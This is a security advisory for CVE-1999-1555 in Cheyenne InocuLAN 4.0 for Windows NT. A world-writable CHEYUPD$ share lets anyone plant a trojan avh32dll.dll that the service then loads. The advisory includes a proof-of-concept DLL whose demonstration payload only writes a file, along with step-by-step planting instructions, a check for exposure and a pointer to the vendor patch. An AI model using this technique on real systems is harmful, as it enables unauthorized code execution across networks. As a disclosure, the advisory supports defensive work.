Cheyenne InocuLAN Windows NT Share Vulnerability

BID:106

Info

Cheyenne InocuLAN Windows NT Share Vulnerability

Bugtraq ID: 106
Class: Unknown
CVE: CVE-1999-1555
Remote: Yes
Local: No
Published: Jun 10 1998 12:00AM
Updated: Jul 11 2009 12:16AM
Credit: This vulnerability was found by Paul Boyer <[email protected]> and reported to the BugTraq mailing list.
Vulnerable: Cheyenne Inoculan for Windows NT 4.0
Not Vulnerable:

Discussion

Cheyenne InocuLAN Windows NT Share Vulnerability

It is possible to run arbitrary code on any Intel machine running Cheyenne
Inoculan version 4.0 for Windows NT prior to SP2.

Inoculan runs as a service, called "Cheyenne InocuLAN Anti-Virus Server".
When it starts, it replaces any shared directory with the same name and shares
"CHEYUPD$" with full control for the everyone group.

When the service starts, it does an update check in this directory (usually
"C:\Inoculan\Update\" ) using the files
"&lt;NtBox&gt;\CHEYUPD$\English\NtIntel\Ready\filelist.txt" and
[idem]...\avh32dll.dll

Simply "touching" or modifying the file "filelist.txt" to look younger
than real causes the update. Th update causes the service to stop, the
avh32dll.dll DLL to replace the existing one (usually in
c:\inoculan\avh32dll.dll) and then starts the service again.
When the service starts, it loads the DLL into memory, and THEN does a lot of
stuff (including checking if it is a valid DLL, I presume).

You can write a DLL that executes arbitrary code at the time it
is loaded in memory, at the precise time when DllMain is called by the image
loader, before any other function have a chance to be called.

To check if you are vulnerable, if you have the resource kit installed, run

SRVCHECK.EXE \\&lt;YourMachine&gt;

else run srvmgr.exe from a NT server on the same domain, select &lt;YourMachine&gt;
and select "Computer|Shared Directories".

If there is a shared directory called "CHEYUPD$" that allows "FULL CONTROL" to
the "EVERYONE" group, you are vulnerable.

An interesting point is that Inoculan uses "domains". In one domain, a single
server forwards the updates to all machines participating in that "domain"
(nothing to do with NT domains). It may be possible to write the trojan
DLL to the domain's server CHEYUPD$ shared directory, and have it copy
it to all the machines in the domain.

Exploit / POC

Cheyenne InocuLAN Windows NT Share Vulnerability

inoctroj.cpp:
-------Cut here -----------
#include "stdio.h"

long __stdcall DllMain (long, unsigned long, void*)
{
// Any code can goes here. This is an exemple
// What it does is simply create a file on C: drive root directory
// and writing "hello world !" inside of it
FILE * demo;

// create a file
demo = fopen ( "C:\\I_can_write_a_file.txt", "w");

// write to the file
char * buf = "hello world ! ";
fwrite ( buf,1, 15, demo);
fclose ( demo );

// This aborts the DLL loading. Anyway, we're done at that time ;))
return 0;
}

-------Cut here -----------

Compile and link to make the target avh32dll.dll. Write it to
&lt;NtBox&gt;\CHEYUPD$\English\NtIntel\Ready\, touch
&lt;NtBox&gt;\CHEYUPD$\English\NtIntel\Ready\filelist.txt to be newer
that it currently is. Wait for the user to stop and restart the InnocuLAN
server, or for them to reboot.

Solution / Fix

Cheyenne InocuLAN Windows NT Share Vulnerability

Solution:
Go to http://www.cheyenne.com/CheyTech/Download/patches/techptch.html and
install their latest patch.

References

Cheyenne InocuLAN Windows NT Share Vulnerability

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